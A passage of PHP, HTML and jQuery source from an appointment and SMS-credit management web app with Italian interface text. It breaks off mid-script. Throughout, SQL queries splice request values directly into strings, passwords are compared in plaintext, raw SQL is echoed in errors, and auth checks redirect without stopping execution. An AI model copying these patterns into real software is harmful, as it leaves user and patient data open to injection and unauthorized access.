$sql="select x1.shop_id from $dbname.Login x,$dbname.Shop_Details x1 where x.login_id=x1.shop_login_id and x.login_username='$username'";
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
$rowcount=mysqli_num_rows($result);
if($rowcount>0){
$row=mysqli_fetch_array($result);
return $row['shop_id'];
}
}catch(Exception $e){
throw $e;
}
}
function getShopAdminId($username,$conn,$dbname){
try{
$sql="select x1.Doc_ID doc_id from $dbname.Login x,$dbname.Doctor_Details x1 where x.login_id=x1.Doc_Login_ID and x.login_username='$username'";
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
$rowcount=mysqli_num_rows($result);
if($rowcount>0){
$row=mysqli_fetch_array($result);
return $row['doc_id'];
}
}catch(Exception $e){
throw $e;
}
}
function checkIfUserIsValid($username,$password){
try{
$loginType="";
$shopid="";
$dbname=DATABASE_NAME;
$conn=mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,DATABASE_NAME);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$sql="select x.client_login_type loginType from $dbname.Login x where x.Login_Username='$username' and x.Login_Password='$<PASSWORD>' and x.client_login_type in('SHOP','ADMIN')";
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
$rowcount=mysqli_num_rows($result);
if($rowcount>0){
$row=mysqli_fetch_array($result);
$loginType=$row['loginType'];
}
if($loginType=='SHOP'){
$shopid=getShopId($username,$conn,$dbname);
$_SESSION['shopid']=$shopid;
$_SESSION['loginType']='SHOP';
$_SESSION['shopname']=$username;
echo json_encode(['OPERATION'=>0,'SHOP'=>$shopid,'SHOP_ADMIN'=>'NA','ERROR'=>'NA']);
}
else if($loginType=='ADMIN'){
$doctorId=getShopAdminId($username,$conn,$dbname);
$_SESSION['doctorid']=$doctorId;
$_SESSION['loginType']='ADMIN';
$_SESSION['shopname']=$username;
echo json_encode(['OPERATION'=>0,'SHOP'=>'NA','SHOP_ADMIN'=>$doctorId,'ERROR'=>'NA']);
}else{
throw new Exception(LOGIN_FAILED);
}
mysqli_close($conn);
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
?><file_sep>/pages/shop-details.php
<!DOCTYPE html>
<html lang="en">
<?php
session_start();
try{
$doctorid=$_SESSION['doctorid'];
if(empty($doctorid)){
header("Location: login.html");
}
}
catch(Exception $e){
header("Location: login.html");
}
?>
<head>
<style type="text/css">
.display_none{
display: none;
}
</style>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="">
<meta name="author" content="">
<title>Doctor's App</title>
<!-- Bootstrap Core CSS -->
<link href="../vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet">
<!-- MetisMenu CSS -->
<link href="../vendor/metisMenu/metisMenu.min.css" rel="stylesheet">
<!-- Custom CSS -->
<link href="../dist/css/sb-admin-2.css" rel="stylesheet">
<!-- Custom Fonts -->
<link href="../vendor/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css">
<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
<script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
</head>
<body>
<div id="wrapper">
<!-- Navigation -->
<!-- Page Content -->
<div id="page-wrapper" >
<div class="row">
<div class="container-fluid">
<div class="row">
<div class="col-lg-2 col-md-2 col-sm-2 col-xs-2 col-xs-offset-1">
<h4 style="margin-top:20px;">Admin Mode</h4>
</div>
<div class="col-lg-3 col-md-2 col-sm-2 col-xs-2">
<li>
<a href="configure-shop.php">Create a new user</a>
</li>
</div>
<div class="col-lg-3 col-md-3 col-sm-3 col-xs-3">
<li>
<a href="shop-details.php">Manage Users</a>
</li>
</div>
<div class="col-lg-2 col-md-2 col-sm-2 col-xs-2 pull-right">
<li>
<a href="../php/logout.php"><i class="fa fa-power-off fw"></i></a>
</li>
</div>
</div>
<div class="h-divider">
</div>
<div class="row" style="margin-top:30px;">
<div class="col-lg-12 col-md-12 col-sm-12 col-xs-12 nopadding" >
<form id="doc_details" role="form" class="form-horizontal">
<div class="col-lg-6 col-md-6 col-sm-6 col-xs-6 nopadding">
<div class="form-group">
<label class="col-lg-2 col-md-2 col-sm-2 col-xs-2">Serach</label>
</div>
<div class="form-group">
<div class="col-lg-4 col-md-4 col-sm-4 col-xs-4">
<select class="form-control" name="searchCriteria" style="background-color:gainsboro">
<option value="SN">Nome</option>
</select>
</div>
<div class="col-lg-4 col-md-4 col-sm-4 col-xs-8"><input type="text" name="searchData" placeholder="Enter shop name" class="form-control">
</div>
<div class="col-lg-3 col-md-3 col-sm-3 col-xs-3">
<button type="button" class="btn btn-sm btn-primary" id="search"><i class="fa fa-search"></i>
<span> Search</span></button>
</div>
</div>
</div>
<input type="hidden" placeholder="input value" name="doctor_id" id="doctor_id" class="form-control" value="<?php echo $doctorid ?>">
</form>
</div>
</div>
<div class="row" style="margin-top:30px;">
<div class="col-lg-12 col-md-12 col-sm-12 col-xs-12" >
<div class="table-responsive">
<table class="table table-bordered" id="shop_details_table">
<thead>
<tr>
<th class="col-lg-2 col-md-2 col-sm-2 col-xs-2">Name of the shop</th>
<th class="col-lg-2 col-md-2 col-sm-2 col-xs-2">Users Connected</th>
<th class="col-lg-2 col-md-2 col-sm-2 col-xs-2">Appointments</th>
<th class="col-lg-2 col-md-2 col-sm-2 col-xs-2">SMS Sent</th>
<th class="col-lg-2 col-md-2 col-sm-2 col-xs-2">SMS Bank</th>
<th class="col-lg-2 col-md-2 col-sm-2 col-xs-2">Add SMS</th>
<th class="col-lg-2 col-md-2 col-sm-2 col-xs-2">usar date</th>
</tr>
</thead>
<tbody id="shop_details">
</tbody>
</table>
</div>
</div>
<!-- /.container-fluid -->
</div>
<!-- /.row -->
</div>
<!-- /#page-wrapper -->
</div>
</div>
<script src="../vendor/jquery/jquery.min.js"></script>
<script src="../vendor/bootstrap/js/bootstrap.min.js"></script>
<script src="../vendor/metisMenu/metisMenu.min.js"></script>
<script src="../dist/js/sb-admin-2.js"></script>
<script type="text/javascript">
$(document).ready(function(){
$('#search').click(function(){
$('#shop_details').html('');
loadShop( true );
});
$(this).on( 'click' , '.edit_shop' , function(){
var shop_id = $(this).attr('shop_id');
document.location = 'update-shop.php?shop_id='+shop_id;
});
loadShop( false );
$(this).on( 'click' , '.add_sms' , function(){
var shop_id = $(this).attr('shop_id');
var sms_count = $('#' + shop_id + '.sms_count' ).val();
var formData = new FormData();
formData.append( 'shop_id' , shop_id );
formData.append( 'sms' , sms_count );
formData.append( 'add' , true );
$.ajax({
url: '../php/add-sms.php',
type: 'POST',
data: formData,
async: false,
success: function(data) {
var returnData = JSON.parse(data);
if( returnData.OPERATION == 0 ){
var error_code = returnData.VALIDATION_ERROR;
$(".modal-body #success").hide();
$(".modal-body #error").show();
$(".modal-body #error #reason").remove();
$('<h6 id="reason" style="color: #990000;text-align:center;">'
+"<i class='fa fa-remove fa-3x' style='color: #990000;margin-right:10px;'></i>"+error_code+'</h6>').prependTo('#error');
$("#messagemodal").modal();
}
else{
$(".modal-body #error").hide();
$(".modal-body #success").show();
$("#messagemodal").modal();
}
},
cache: false,
contentType: false,
processData: false
});
});
$(this).on( 'click' , '.sub_sms' , function(){
var shop_id = $(this).attr('shop_id');
var sms_count = $('#' + shop_id + '.sms_count' ).val();
var formData = new FormData();
formData.append( 'shop_id' , shop_id );
formData.append( 'sms' , sms_count );
formData.append( 'add' , false );
$.ajax({
url: '../php/add-sms.php',
type: 'POST',
data: formData,
async: false,
success: function(data) {
var returnData = JSON.parse(data);
if( returnData.OPERATION == 0 ){
var error_code = returnData.VALIDATION_ERROR;
$(".modal-body #success").hide();
$(".modal-body #error").show();
$(".modal-body #error #reason").remove();
$('<h6 id="reason" style="color: #990000;text-align:center;">'
+"<i class='fa fa-remove fa-3x' style='color: #990000;margin-right:10px;'></i>"+error_code+'</h6>').prependTo('#error');
$("#messagemodal").modal();
}
else{
$(".modal-body #error").hide();
$(".modal-body #success").show();
$("#messagemodal").modal();
}
},
cache: false,
contentType: false,
processData: false
});
});
$('#dismiss_success').click(function(){
document.location = 'shop-details.php';
});
});
function loadShop( search ){
var formData = new FormData($('#doc_details')[0]);
formData.append( 'search' , search );
$.ajax({
url: '../php/load-shop.php',
type: 'POST',
data: formData,
async: false,
success: function(data) {
var shopDetails = JSON.parse(data);
$.each( shopDetails , function(index , value){
var shop_name = value.shop_name;
var user_connected = value.user_connected;
var sms_balance = value.sms_balance;
var sms_sent = value.sms_sent;
var shop_id = value.shop_id;
var appoinments = value.appoinments;
var shop_detail_clone = $('.shop_detail_clone').clone();
$( shop_detail_clone ).removeClass( 'display_none' );
$( shop_detail_clone ).removeClass( 'shop_detail_clone' );
$( shop_detail_clone ).find('.shop_name').html( shop_name );
$( shop_detail_clone ).find('.user_connected').html( user_connected );
$( shop_detail_clone ).find('.sms_balance').html( sms_balance );
$( shop_detail_clone ).find('.sms_sent').html( sms_sent );
$( shop_detail_clone ).find('.add_sms').attr( 'shop_id' , shop_id );
$( shop_detail_clone ).find('.sub_sms').attr( 'shop_id' , shop_id );
$( shop_detail_clone ).find('.sms_count').attr( 'id' , shop_id );
$( shop_detail_clone ).find('.appoinments').html( appoinments );
$( shop_detail_clone ).find('.edit_shop').attr( 'shop_id' , shop_id );
$('#shop_details').append( shop_detail_clone.find('tr'));
});
},
cache: false,
contentType: false,
processData: false
});
}
</script>
<table class="display_none shop_detail_clone">
<tr>
<td class="shop_name"></td>
<td class="user_connected"></td>
<td class="appoinments"></td>
<td class="sms_sent"></td>
<td class="sms_balance"></td>
<td>
<div class="input-group">
<span class="sub_sms btn btn-sm btn-primary input-group-addon" ><i class="fa fa-minus fa-fw"></i></span>
<input type="text" class="form-control sms_count" aria-describedby="basic-addon2">
<span class="add_sms btn btn-sm btn-primary input-group-addon" ><i class="fa fa-plus fa-fw"></i></span>
</div>
</td>
<td>
<div class="col-sm-2"> <button type="button" class="btn btn-sm btn-primary edit_shop"><i class="fa fa-edit fa-fw"></i></button></div>
</td>
</tr>
</table>
<div class="modal modal-lg modal-md modal-sm modal-xs" id="messagemodal" role="dialog" style="margin-top:200px;margin-left:200px;">
<div class="modal-dialog">
<div class="modal-content" style="background-color:gainsboro">
<div class="modal-body" >
<div id="success">
<h6 id="reason" style="color: #006633;text-align:center;"><i class='fa fa-check fa-3x' style='color: #006633;margin-right:10px;'></i>Data inserted successfully</h6>
<button type="button" id="dismiss_success" class="btn btn-md btn-primary" style="margin-left:260px;margin-bottom:20px;" data-dismiss="modal">Close</button>
</div>
<div id="error">
<button type="button" id="dismiss_error" class="btn btn-md btn-primary" style="margin-left:260px;margin-bottom:20px;" data-dismiss="modal">Close</button>
</div>
</div>
</div>
</div>
</div>
</body>
</html>
<file_sep>/php/my-appointment-app.php
<?php
header('Access-Control-Allow-Origin: *');
require("{$_SERVER['DOCUMENT_ROOT']}/shopapp/constant/application-constant.php");
try{
$user_id = stripslashes(htmlspecialchars(trim($_POST['user_id'])));
$appointmentdetails = findAppointmentDetails($user_id);
echo json_encode(['OPERATION'=>0,'SEARCH_RESULT'=>$appointmentdetails,'ERROR'=>'NA']);
}catch(Exception $e){
echo json_encode(['OPERATION'=>1,'ERROR'=>$e->getMessage()]);
}
function findAppointmentDetails($user_id){
try{
$appointmentdetails = array();
$dbname = DATABASE_NAME;
$conn = mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,DATABASE_NAME);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$sql="select A2.shop_name1,A.Appointment_ID,A.user_id,A2.shop_desc,A.first_line_activity,
A2.shop_id,
A.user_apnt_dt,
A2.shop_address,
A.user_apnt_time,
A.user_apnt_status,
A.update_date,
A2.shop_img_url,
A4.doc_first_name,
A4.doc_last_name
from
Client_Shop_Apnt A,
Shop_Details A2,
Shop_Doc_Map A3,
Doctor_Details A4
where A.shop_id=A2.shop_id
and A2.shop_id = A3.shop_id
and A3.doc_id=A4.doc_id
and A.user_id=$user_id
and Date(A.User_Apnt_Dt) BETWEEN Date( CURDATE() ) AND Date ( DATE_ADD(CURDATE(), INTERVAL 6 DAY) )";
$result = mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
$rowcount=mysqli_num_rows($result);
$shop_details = array();
if($rowcount>0){
while($row=mysqli_fetch_assoc($result)){
$shop_details[] = array( 'shop_name1' => $row['shop_name1'] , 'shop_id' => $row['shop_id'] , 'shop_address' => $row['shop_address'] ,
'user_apnt_dt' => $row['user_apnt_dt'],'user_apnt_time' => $row['user_apnt_time'],'user_apnt_status' => $row['user_apnt_status'],
'update_date' => $row['update_date'],'shop_img_url' => $row['shop_img_url'],'doc_first_name' => $row['doc_first_name'],
'doc_last_name' => $row['doc_last_name'],'Appointment_ID' => $row['Appointment_ID'],'user_id' => $row['user_id'],
'shop_desc' => $row['shop_desc'],'first_line_activity' => $row['first_line_activity']);
}
}
mysqli_close($conn);
return $shop_details;
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
?><file_sep>/php/viewMyAccount-app.php
<?php
header('Access-Control-Allow-Origin: *');
require("{$_SERVER['DOCUMENT_ROOT']}/shopapp/constant/application-constant.php");
try{
$user_id = stripslashes(htmlspecialchars(trim($_POST['user_id'])));
$myAccount = viewmyAccount($user_id);
echo json_encode(['OPERATION'=>0,'SEARCH_RESULT'=>$myAccount,'ERROR'=>'NA']);
}catch(Exception $e){
echo json_encode(['OPERATION'=>1,'ERROR'=>$e->getMessage()]);
}
function viewmyAccount($user_id){
try{
$myAccount = array();
$dbname = DATABASE_NAME;
$conn = mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,DATABASE_NAME);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$sql = "select User_id , User_First_Name , User_Last_Name , User_Login_Mobile_No , User_email_id1 from User_Details where user_id = $user_id";
$result = mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
$rowcount = mysqli_num_rows($result);
if($rowcount>0){
$row=mysqli_fetch_array($result);
$myAccount['User_id']=$row['User_id'];
$myAccount['User_First_Name']=$row['User_First_Name'];
$myAccount['User_Last_Name']=$row['User_Last_Name'];
$myAccount['User_Login_Mobile_No']=$row['User_Login_Mobile_No'];
$myAccount['User_email_id1']=$row['User_email_id1'];
}
mysqli_close($conn);
return $myAccount;
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
?><file_sep>/php/add-sms.php
<?php
session_start();
require("{$_SERVER['DOCUMENT_ROOT']}/shopapp/constant/application-constant.php");
try{
if($_SERVER['REQUEST_METHOD']==='POST')
{
$sms = stripslashes(htmlspecialchars(trim($_POST['sms'])));
$shop_id = stripslashes(htmlspecialchars(trim($_POST['shop_id'])));
$add_sms = stripslashes(htmlspecialchars(trim($_POST['add'])));
if(empty($sms) || !preg_match('/^[0-9]+$/',$sms)){
echo json_encode(['OPERATION'=>0,'VALIDATION_ERROR'=>'Numaric value expected']);
}
else{
updateIntoSMSTable($shop_id,$sms,$add_sms);
}
} else {
throw new Exception(GET_METHOD_NOT_SUPPORTED);
}
}catch(Exception $e){
echo json_encode(['OPERATION'=>0,'VALIDATION_ERROR'=>$e->getMessage()]);
}
function updateIntoSMSTable($shop_id,$sms,$add_sms){
try{
$dbname=DATABASE_NAME;
$conn=mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,$dbname);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
if( $add_sms == 'true' ){
$sql="update SMS_Table set SMS_Limit = SMS_Limit + $sms where shop_id = $shop_id ";
}
else{
$sql="update SMS_Table set SMS_Limit = SMS_Limit - $sms where shop_id = $shop_id ";
}
$result=mysqli_query($conn,$sql);
echo json_encode(['OPERATION'=>1]);
if(!$result){
throw new Exception("Database error::$sql");
}
} catch(Exception $e){
throw $e;
}
}
?><file_sep>/php/update-contacted-status.php
<?php
session_start();
require("{$_SERVER['DOCUMENT_ROOT']}/shopapp/constant/application-constant.php");
try{
$user_id=stripslashes(htmlspecialchars(trim($_POST['user_id'])));
$appointment_id=stripslashes(htmlspecialchars(trim($_POST['appointment_id'])));
$shop_id=stripslashes(htmlspecialchars(trim($_POST['shop_id'])));
$status_tobe_updated=stripslashes(htmlspecialchars(trim($_POST['status_to_be_updated'])));
updateContactedStatusOfClient($user_id,$appointment_id,$shop_id,$status_tobe_updated);
echo json_encode(['OPERATION'=>0,'VALIDATION_ERROR'=>'NA']);
}catch(Exception $e){
echo json_encode(['OPERATION'=>1,'VALIDATION_ERROR'=>$e->getMessage()]);
}
function updateContactedStatusOfClient($user_id,$appointment_id,$shop_id,$status_tobe_updated){
try{
$dbname = DATABASE_NAME;
$updatedStatus="";
$conn = mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,DATABASE_NAME);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$sql="update $dbname.Client_Shop_Apnt set Is_client_contacted='$status_tobe_updated' where Appointment_ID=$appointment_id and User_ID=$user_id and Shop_ID=$shop_id";
//echo $sql;
$result=mysqli_query($conn,$sql);
mysqli_close($conn);
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
?><file_sep>/pages/activityoftoday.php
<!DOCTYPE html>
<html lang="en">
<?php
session_start();
try{
$shopid=$_SESSION['shopid'];
if(empty($shopid)){
header("Location: login.html");
}
}
catch(Exception $e){
header("Location: login.html");
}
?>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="">
<meta name="author" content="">
<title>Doctor's App</title>
<!-- Bootstrap Core CSS -->
<link href="../vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet">
<!-- Bootstrap datetimepicker CSS -->
<link href="../vendor/bootstrap/css/bootstrap-datetimepicker.min.css" rel="stylesheet">
<!-- MetisMenu CSS -->
<link href="../vendor/metisMenu/metisMenu.min.css" rel="stylesheet">
<!-- Custom CSS -->
<link href="../dist/css/sb-admin-2.css" rel="stylesheet">
<!-- Custom Fonts -->
<link href="../vendor/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css">
<link href="../css/bootstrap-toggle.min.css" rel="stylesheet">
<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
<script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
<style type="text/css">
.toggle.ios, .toggle-on.ios, .toggle-off.ios { border-radius: 20px; }
.toggle.ios .toggle-handle { border-radius: 20px; }
</style>
</head>
<body>
<div id="wrapper">
<!-- Navigation -->
<!-- Page Content -->
<div id="page-wrapper" >
<div class="row">
<div class="container-fluid">
<div class="row" style="margin-left:10px;">
<div class="col-lg-2 col-md-2 col-sm-2 col-xs-2">
<li>
<a href="new-client.php">Nuovo Cliente</a>
</li>
</div>
<div class="col-lg-2 col-md-2 col-sm-2 col-xs-2">
<li>
<a href="client-list.php">Elenco clienti</a>
</li>
</div>
<div class="col-lg-2 col-md-2 col-sm-2 col-xs-2">
<li>
<a href="activityoftoday.php">Attivitá di oggi</a>
</li>
</div>
<div class="col-lg-2 col-md-2 col-sm-2 col-xs-2">
<li>
<a href="my-profile.php">ll mio profilo</a>
</li>
</div>
<div class="col-lg-3 col-md-3 col-sm-3 col-xs-3">
<li>
<a href="client-message.php">Messaggi dai clienti <span id="notification_count" class="badge" style="background-color:#C0392B;"></span></a>
</li>
</div>
<div class="col-lg-1 col-md-1 col-sm-1 col-xs-1">
<li>
<a href="../php/logout.php"><i class="fa fa-power-off fw"></i></a>
</li>
</div>
</div>
<div class="h-divider">
</div>
<div class="row" style="margin-top:20px;">
<form role="form" id="appointment-search" class="form-horizontal">
<div class="col-lg-12 col-md-12 col-xs-12 col-sm-12">
<label class="col-lg-2 col-md-2 col-sm-2 col-xs-2 control-labelnopadding"> Search :</label><input type="hidden" id="shop_id" value='<?php echo $_SESSION['shopid'] ?>'/>
</div>
<div class="col-lg-12 col-md-12 col-xs-12 col-sm-12" style="margin-top: 20px;" >
<div class="col-lg-3 col-md-3 col-sm-3 col-xs-3 ">
<select class="input-sm form-control input-s-sm inline" style="background: gainsboro;" name="search_option" id="search_option">
<option value="Name">Name defoult</option>
<option value="Cognome">Cognome</option>
</select>
</div>
<div class="col-lg-3 col-md-3 col-sm-3 col-xs-3">
<input type="text" name="searchvalue" id="searchvalue" placeholder="Place holder" class="form-control">
</div>
<div class="col-lg-3 col-md-3 col-sm-3 col-xs-3">
<button class="btn btn-sm btn-primary" type="submit"><i class="fa fa-search"></i>
<span> Premi invio per cercare </span>
</button>
</div>
<div class="col-lg-3 col-md-3 col-sm-3 col-xs-3">
<div class='input-group date' id='datetimepicker2'>
<span class="input-group-addon">
<i class="glyphicon glyphicon-calendar" style="color:brown"></i>
</span>
<input type='text' class="form-control" style="background-color:gainsboro;font-weight:bold;" placeholder="" name="appointment_date" id="appointment_date"/>
</div>
</div>
</div>
</form>
<div class="col-lg-12 col-md-12 col-xs-12 col-sm-12" style="margin-top: 20px;">
<div class="table-responsive">
<table class="table table-bordered" >
<thead>
<tr>
<th>Nome</th>
<th>Cognome</th>
<th>Ora</th>
<th>Stato</th>
<th>Nuovo appuntamento</th>
<th>Cliente</th>
<th>Telefono</th>
</tr>
</thead>
<tbody>
</tbody>
</table>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!--Adding modal window-->
<!--modal window for new appointment-->
<div id="newappointment" class="modal fade" role="dialog">
<div class="modal-dialog">
<!-- Modal content-->
<div id="newappointmentmodal" class="modal-content">
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal">×</button>
<h4 class="modal-title">Nuovo apuntamento</h4>
</div>
<div class="modal-body">
<div class="form-horizontal">
<div class="row" >
<div class="col-lg-12 col-md-12 col-sm-12 col-xs-12 nopadding" >
<div class="form-group" id="success-appointment" style="display:none">
<h6 id="reason" style="color: #006633;text-align:center;"><i class='fa fa-check fa-3x' style='color: #006633;margin-right:10px;'></i>Data inserted successfully</h6>
</div>
<div class="form-group" id="error-appointment" style="display:none">
</div>
<div class="form-group" style="padding:0;margin:0;">
<label>Nome:</label>
<label id="appointment_name"></label>
</div>
<div class="form-group" style="padding:0;margin:0;">
<label>Cognome:</label>
<label id="appointment_surname"></label>
</div>
</div>
</div>
<div class="row" style="margin-top:30px;">
<div class="col-lg-12 col-md-12 col-sm-12 col-xs-12 nopadding" >
<div class="form-group" id="tipo_attivita_group">
<label class="col-lg-4 col-md-4 col-sm-4 col-xs-4">Tipo Attivitá:</label>
<div class="col-lg-8 col-md-8 col-sm-8 col-xs-8 pull-left">
<input type="text" placeholder="Type the activity to show on the application" name="tipo_attivita" id="tipo_attivita" class="form-control" >
</div>
</div>
<div class="form-group" id="seconda_attivita_group">
<label class="col-lg-4 col-md-4 col-sm-4 col-xs-4 nopadding">Seconda linea attivita(facoltativa):</label>
<div class="col-lg-8 col-md-8 col-sm-8 col-xs-8 nopadding">
<input type="text" placeholder="Second line of description of the activity" name="seconda_attivita" id="seconda_attivita" class="form-control" >
</div>
</div>
<div class="form-group" id="appointment_end_date_group">
<label class="col-lg-4 col-md-4 col-sm-4 col-xs-4">Data:</label>
<div class="col-lg-4 col-md-4 col-sm-4 col-xs-4">
<div class='input-group date' id='datetimepicker1'>
<input type='text' class="form-control" placeholder="" name="appointment_end_date" id="appointment_end_date" />
<span class="input-group-addon">
<i class="glyphicon glyphicon-calendar" style="color:brown"></i>
</span>
</div>
</div>
</div>
<div class="form-group">
<label class="col-lg-4 col-md-4 col-sm-4 col-xs-4 nopadding">Ora:</label>
<div class="col-lg-2 col-md-2 col-sm-2 col-xs-2">
<select class="form-control" name="ora1" id="ora1">
<option value="0">00 </option>
<option value="1">01</option>
<option value="2">02</option>
<option value="3">03</option>
<option value="4">04</option>
<option value="5">05</option>
<option value="6">06</option>
<option value="7">07</option>
<option value="8">08</option>
<option value="9">09</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
<option value="13">13</option>
<option value="14">14</option>
<option value="15">15</option>
<option value="16">16</option>
<option value="17">17</option>
<option value="18">18</option>
<option value="19">19</option>
<option value="20">20</option>
<option value="21">21</option>
<option value="22">22</option>
<option value="23">23</option>
</select>
</div>
<label class="col-lg-1 col-md-1 col-sm-1 col-xs-1 control-label">:</label>
<div class="col-lg-2 col-md-2 col-sm-2 col-xs-2 nopadding">
<select class="form-control" name="ora2" id="ora2">
<option value="0">00</option>
<option value="10">10</option>
<option value="20">20</option>
<option value="30">30</option>
<option value="40">40</option>
<option value="50">50</option>
</select>
</div>
</div>
<div class="form-group">
<label class="col-lg-4 col-md-4 col-sm-4 col-xs-4">Servizio SMS:</label>
<div class="col-lg-2 col-md-2 col-sm-2 col-xs-2">
<input type="checkbox" id="sms_service" name="sms_service" data-on="on" data-off="off" checked data-toggle="toggle" data-onstyle="success" data-size="mini" data-style="ios" value="on">
</div>
</div>
<div class="form-group pull-right" style="margin-right:10px;">
<button id="addappointment" class="btn btn-primary">INSERISCI <br/>APPUNTAMENTO</button>
<button id="addanotherapointment" class="btn btn-primary">INSERISCI UN ALTRO<br/> APPUNTAMENTO</button>
</div>
<input type="hidden" id="appointment_userid" name="appointment_userid"/>
<input type="hidden" id="appointment_hidden_name" name="appointment_hidden_name"/>
<input type="hidden" id="appointment_hidden_surname" name="appointment_hidden_surname"/>
<input type="hidden" id="appointment_telephone" name="appointment_telephone"/>
<input type="hidden" id="appointment_email" name="appointment_email"/>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<script src="../vendor/jquery/jquery.min.js"></script>
<script src="../vendor/bootstrap/js/bootstrap.min.js"></script>
<script src="../vendor/metisMenu/metisMenu.min.js"></script>
<script src="../dist/js/sb-admin-2.js"></script>
<script src="../js/bootstrap-toggle.min.js"></script>
<script src="../vendor/moment/moment.min.js"></script>
<script src="../vendor/bootstrap/js/bootstrap-datetimepicker.min.js"></script>
<!--for bootstrap date time picker-->
<script type="text/javascript">
$(function () {
$('#datetimepicker1').datetimepicker({
format:'YYYY-MM-DD'
});
$('#datetimepicker2').datetimepicker({
format:'YYYY-MM-DD'
});
});
</script>
<script>
$(document).on('click','[data-toggle="popover"]',function(){
$('[data-toggle="popover"]').popover();
});
</script>
<script>
$("form#appointment-search").submit(function(e){
e.preventDefault();
var formData = new FormData($(this)[0]);
$('tbody tr').remove();
$.ajax({
url: '../php/get-appointment-details.php',
type: 'POST',
data:formData,
async: false,
success: function(data) {
console.log(data);
var finaldata=JSON.parse(data);
console.log("operation value is"+finaldata.OPERATION) ;
if(finaldata.OPERATION==0){
var result=finaldata.SEARCH_REASULT;
var tablerowindex=0;
$.each(result,function(){
var html="<tr>";
html=html+"<td>"+result[tablerowindex]['first_name']+"<input type=\"hidden\" id=\"user_id\" value=\""+result[tablerowindex]['user_id']+"\""+"/>"+"</td>";
html=html+"<td>"+result[tablerowindex]['last_name']+"<input type=\"hidden\" id=\"\" value=\""+result[tablerowindex]['email']+"\""+"/>"+"<input type=\"hidden\" id=\"user_id\" value=\""+result[tablerowindex]['appnt_id']+"\""+"/>"+"</td>";
html=html+"<td>"+result[tablerowindex]['apnt_time']+"</td>";
if(result[tablerowindex]['apnt_status'].toUpperCase()=='CONFIRMED' ||result[tablerowindex]['apnt_status'].toUpperCase()=='BOOKED'){
var confirmeddata="<a href=\"#\" style=\"color:green;font-weight: bold;\" data-toggle=\"popover\" data-html=\"true\" data-content=\"<h6 style='font-weight:bold'><span style='color:green'>CONFERMATO: </span>"+result[tablerowindex]['first_name']+" "+result[tablerowindex]['last_name']+"</h6><h6 style='text-align:center'>Vuoi disdire</h6><h6 style='text-align:center'>l'appuntamento?</h6><a href='#' name='appointment_status_change_link' style='color:red;font-weight:bold;text-align:center'>CONFERMA L'APPUNTAMENTO</a>\">CONFERMATO </a>";
html=html+"<td>"+confirmeddata+"</td>";
}
if(result[tablerowindex]['apnt_status'].toUpperCase()=='DELETED'){
var confirmeddata="<a href=\"#\" style=\"color:red;font-weight: bold;\" data-toggle=\"popover\" data-html=\"true\" data-content=\"<h6 style='font-weight:bold'><span style='color:red'>DISDETTO:</span>"+result[tablerowindex]['first_name']+" "+result[tablerowindex]['last_name']+"</h6><h6 style='text-align:center'>Vuoi disdire</h6><h6 style='text-align:center'>l'appuntamento?</h6><a href='#' name='appointment_status_change_link' style='color:green;font-weight:bold;text-align:center'>DISDICI L'APPUNTAMENTO</a>\">DISDETTO </a>";
html=html+"<td>"+confirmeddata+"</td>";
}
if(result[tablerowindex]['apnt_status'].toUpperCase()=='POSTPONED'){
var confirmeddata="<a href=\"#\" style=\"color:orange;font-weight: bold;\" data-toggle=\"popover\" data-html=\"true\" data-content=\"<h6 style='font-weight:bold'><span style='color:orange'>SPOSTATO:</span>"+result[tablerowindex]['first_name']+" "+result[tablerowindex]['last_name']+"</h6><h6 style='text-align:center'>Vuoi disdire</h6><h6 style='text-align:center'>l'appuntamento?</h6><a href='#' name='appointment_status_change_link' style='color:green;font-weight:bold;text-align:center'>CONFERMA L'APPUNTAMENTO</a>\">SPOSTATO </a>";
html=html+"<td>"+confirmeddata+"</td>";
}
